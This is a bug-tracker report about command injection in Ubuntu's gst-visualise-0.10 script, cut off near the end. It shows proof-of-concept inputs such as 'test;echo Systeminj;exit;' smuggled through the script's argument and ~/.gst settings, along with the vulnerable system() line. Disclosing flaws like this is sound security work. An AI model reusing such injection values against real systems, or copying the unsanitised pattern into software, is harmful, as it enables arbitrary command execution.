command injection in gst-visualise-0.10
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
gst-plugins-base0.10 (Ubuntu) |
New
|
Undecided
|
Unassigned |
Bug Description
Binary package hint: gstreamer0.
/usr/bin/
test case :
1) from first argument ($pipe variable):
emanuel@
No configuration file /home/emanuel/.gst found. You might want to create one.
Running gst-launch-0.10 osssrc ! text 2>/dev/null ; echo Systeminj ; # ! { queue ! ffmpegcolorspace ! xvimagesink }
Systeminj
2) from ~/.gst file :
emanuel@
AUDIOSRC=test;echo Systeminj;exit;
VIDEOSINK=test;echo Systeminj;exit;
CVS_PATH=test;echo Systeminj;exit;
emanuel@
Running gst-launch-0.10 test;echo Systeminj;exit; ! goom ! { queue ! ffmpegcolorspace ! test;echo Systeminj;exit; }
Systeminj
the bug can be found at :
$command = "gst-launch-0.10 $cfg{AUDIOSRC} ! $pipe ! { queue ! ffmpegcolorspace ! $cfg{VIDEOSINK} }";
print "Running $command\n";
system ("PATH=